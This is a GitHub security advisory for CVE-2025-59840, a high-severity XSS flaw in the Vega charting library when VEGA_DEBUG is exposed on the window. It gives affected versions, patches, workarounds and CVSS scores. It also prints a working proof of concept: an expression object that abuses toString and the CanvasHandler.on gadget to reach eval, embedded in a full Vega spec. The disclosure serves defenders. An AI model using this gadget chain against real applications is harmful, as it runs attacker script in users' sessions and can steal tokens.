Skip to content

Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable

High severity GitHub Reviewed Published Nov 13, 2025 in vega/vega • Updated Nov 14, 2025

Package

npm vega (npm)

Affected versions

< 6.2.0

Patched versions

6.2.0
npm vega-expression (npm)
>= 6.0.0, < 6.1.0
< 5.2.1
6.1.0
5.2.1
npm vega-interpreter (npm)
>= 2.0.0, < 2.2.1
< 1.2.1
2.2.1
1.2.1

Description

Impact

Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

  1. Use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window
  2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Patches

  • If using latest Vega line (6.x)
    • vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode)
  • If using Vega in a non-ESM environment
    • ( vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode)

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading

  • Do not attach vega View instances to global variables, as Vega editor used to do here
  • Do not attach vega to the global window as the editor used to do here

These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }

      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }
  1. Set u to the result of calling this.eventName with undefined
    • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
  2. Sets d to this._handlers
    • For our object, we have this defined to be used later
  3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
    • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval.

PoC Link

Navigate to vega editor, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.

Future investigation

In cases where VEGA_DEBUG is not enabled, there theoreticallycould be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped gadgets have been found.

Impact

This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.

An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.

References

@hydrosquall hydrosquall published to vega/vega Nov 13, 2025
Published by the National Vulnerability Database Nov 13, 2025
Published to the GitHub Advisory Database Nov 13, 2025
Reviewed Nov 13, 2025
Last updated Nov 14, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2025-59840

GHSA ID

GHSA-7f2v-3qq3-vvjf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.